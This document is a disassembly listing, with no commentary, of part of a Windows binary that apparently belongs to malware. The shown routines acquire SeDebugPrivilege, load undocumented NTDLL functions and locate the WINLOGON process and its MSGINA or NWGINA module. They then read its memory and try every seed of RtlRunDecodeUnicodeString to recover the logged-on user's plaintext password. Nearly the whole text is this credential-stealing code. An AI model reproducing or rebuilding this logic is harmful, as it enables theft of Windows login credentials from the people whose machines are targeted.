		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438438
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 15E85359h, 90022D99h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0E890FC75h, 2368DD8h, 8F75C085h, 0E8FC75FFh,	21D8DCCh
		dd 1475FF90h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h,	0C0850236h
		dd 9056B175h, 1D8D47E8h, 1C458B02h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26B0AD3h
		nop
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset off_4385B4
		call	esi
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset off_43859C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27C0000h
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0A80h
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D0000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26902E0h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27F02F6h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27E0C53h
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 27705BFh
		nop
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		call	near ptr 2670770h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26902E0h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27F02F6h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0C53h
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27E0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27D0000h
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2670770h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2670770h
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27D0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27E0B98h
		push	eax
		nop
		call	near ptr 27E0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		call	near ptr 27E0B98h
		nop
		push	eax
		nop
		call	near ptr 27D0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
